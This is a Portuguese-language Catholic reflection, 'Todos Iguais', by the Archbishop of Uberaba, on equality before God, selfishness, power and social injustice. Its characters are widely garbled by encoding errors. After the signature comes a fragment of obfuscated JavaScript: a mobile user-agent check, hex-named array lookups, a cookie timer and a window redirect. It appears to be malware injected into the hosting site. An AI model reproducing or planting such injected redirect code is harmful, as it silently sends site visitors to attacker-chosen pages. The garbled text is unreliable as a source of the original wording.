Todos Iguais

Todos Iguais


Ao olhar para a identidade das pessoas, podemos descobrir que a existA?ncia humana apresenta formas diversas de ser. Dizemos que, perante Deus, somos iguais, todos criados Ai?? sua imagem e semelhanAi??a. Essa realidade sA? tem sentido na visA?o do cumprimento do direito e da justiAi??a. Mas a visA?o, que vem do mundo, Ai?? outra. As relaAi??Ai??es sA?o de poder entre desiguais, que afeta cada pessoa na convivA?ncia social.

NA?o Ai?? fA?cil realizar um projeto baseado totalmente na justiAi??a e no direito, que evite violA?ncia e desarmonia nas relaAi??Ai??es fundamentais entre os ai???desiguaisai???. O capricho do egoAi??smo Ai?? massacrante e distancia as pessoas, cria isolamento e individualismo. O fechamento impede o indivAi??duo de enxergar as necessidades vividas pelos impossibilitados de relaAi??Ai??es fraternas, e os nivela por baixo.

Os projetos humanos nA?o deveriam ser diferentes dos que sA?o de Deus. Os fundamentos da Palavra de Deus remetem para o serviAi??o aos mais necessitados. Esse Ai?? o caminho que nos torna semelhantes ao Criador, porque indo ao encontro dos mais fragilizados da sociedade, estaremos indo na direAi??A?o de Deus. Ele nos acolhe nos pobres e no serviAi??o prestado a eles.

O projeto de Deus inclui e une. O mundo tem facilidade para separar ricos de pobres, melhores de piores, fortes de fracos, brancos de negros, urbanos de rurais etc. Somos desiguais quando privilegiamos alguns e desprezamos outros, causando uma sociedade de desiguais, ou atAi?? de inimigos, de um agredindo outros com prA?ticas violentas.

Ai?? lamentA?vel conviver com preconceitos humanos, com barreiras que impedem a convivA?ncia e fragilizam a vivA?ncia do amor fraterno. No cume de toda diferenAi??a estA? a briga pelo poder e pela ai???prosperidadeai??? econA?mica. A desonestidade passa a ser a alma da desigualdade, porque tira a possibilidade de condiAi??Ai??es de vida digna para muita gente.

O vAi??rus do poder consegue infectar muitos privilegiados. Ai?? uma tentaAi??A?o constante e contAi??nua. Isso seria saudA?vel se houvesse tambAi??m o vAi??rus da fraternidade e da preocupaAi??A?o com a justiAi??a social. Pelo menos criaria possibilidade de igualdade entre as pessoas. Seria atAi?? bom pensarmos, quais sA?o os nossos preconceitos que geram desigualdade?


Dom Paulo Mendes Peixoto /Ai??Arcebispo de Uberaba. sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

deixe um comentário